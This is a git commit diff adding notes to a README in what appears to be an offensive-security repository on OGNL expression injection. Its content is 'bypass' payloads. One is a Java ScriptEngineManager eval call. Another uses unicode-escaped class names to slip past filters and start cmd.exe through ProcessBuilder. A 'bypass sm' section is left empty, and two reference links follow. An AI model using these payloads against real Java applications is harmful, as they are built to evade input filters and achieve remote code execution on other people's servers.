Update Readme.md

Firebasky · web-flow · commit 5f51de976afa · 2021-12-13T20:31:32.000+08:00
diff --git a/shell/OGNL/Readme.md b/shell/OGNL/Readme.md
@@ -1 +1,16 @@
 # OGNL bypass
+```java
+new javax.script.ScriptEngineManager().getEngineByName("js").eval(此处的Payload可以进行unicode编码)
+
+new javax.script.ScriptEngineManager().getEngineByName("js").eval("new j\u0061va.lang.ProcessBuilder['(java.l\u0061ng.String[])'](['cmd.exe','/c','calc']).start()\u003B");
+
+```
+## bypass sm
+参考 js的bypass
+```java
+
+```
+
+>参考
+>https://www.sec-in.com/article/753
+>https://www.mi1k7ea.com/2020/03/16/OGNL%E8%A1%A8%E8%BE%BE%E5%BC%8F%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/
